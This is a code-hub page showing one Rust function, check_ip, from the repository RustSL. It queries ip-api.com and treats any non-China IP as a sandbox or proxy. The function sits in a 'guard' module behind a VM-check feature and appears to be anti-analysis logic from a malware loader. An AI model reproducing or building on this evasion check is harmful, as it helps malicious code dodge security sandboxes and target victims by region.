MCPcopy Create free account
hub / github.com/echQoQ/RustSL / check_ip

Function check_ip

src/guard/ip.rs:3–20  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

1// IP检测:通过ip-api.com获取IP归属地,若非中国则判定为沙箱或代理环境
2#[cfg(feature = "vm_check_ip")]
3pub fn check_ip() -> bool {
4 let url = "http://ip-api.com/csv";
5 match crate::utils::http_get(url) {
6 Ok((status_code, body)) => {
7 if status_code == 200 {
8 let body_str = String::from_utf8_lossy(&body);
9 if body_str.contains("China") {
10 return true;
11 } else {
12 return false;
13 }
14 } else {
15 return false;
16 }
17 }
18 Err(_) => false,
19 }
20}

Callers 1

guard_vmFunction · 0.85

Calls 1

http_getFunction · 0.85

Tested by

no test coverage detected